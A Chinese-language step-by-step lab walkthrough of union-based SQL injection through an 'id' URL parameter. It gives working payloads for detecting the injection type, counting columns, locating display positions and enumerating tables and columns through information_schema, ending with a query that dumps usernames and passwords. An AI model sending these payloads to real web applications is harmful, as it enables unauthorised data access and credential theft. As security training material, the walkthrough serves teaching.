1.判断是否存在注入,注入是字符型还是数字型?
?id=1 and 1=1
?id=1 and 1=2
因为输入and 1=1与and 1=2 回显正常,所以该地方不是数字型。
?id=1'
?id=1'--+
输入单引号后报错,在单引号后添加--+恢复正常,说明存在字符注入
2.猜解SQL查询语句中的字段数
?id=1' order by 3 --+
?id=1' order by 4 --+
利用二分法尝试,得到列数为3
3.确定回显位置
将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。(当union前面语句查询不到时,会使用union后面的查询语句)
?id=-1' union select 1,2,3 --+
发现页面先输出了2和3,说明页面有2个显示位 。
4.获取当前数据库
?id=1' union select 1,database(),version() --+
通过数据库自带函数database()和version()获取数据库名和版本
5.获取数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
从information_schema.tables
系统表中检索所有属于security
数据库的表名,并将它们连接成一个由逗号分隔的字符串。GROUP_CONCAT
函数在这里用于将多个表名合并成一个单一的字符串结果。(因为查询出来是按列来排序所以需要GROUP_CONCAT
函数来将列合并成一行)
6.获取表中的字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
从information_schema.columns
系统表中检索特定数据库(security
)中特定表(users
)的所有列名
7.得到数据
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+
0x3a时表示十六进制中的冒号,方便查看信息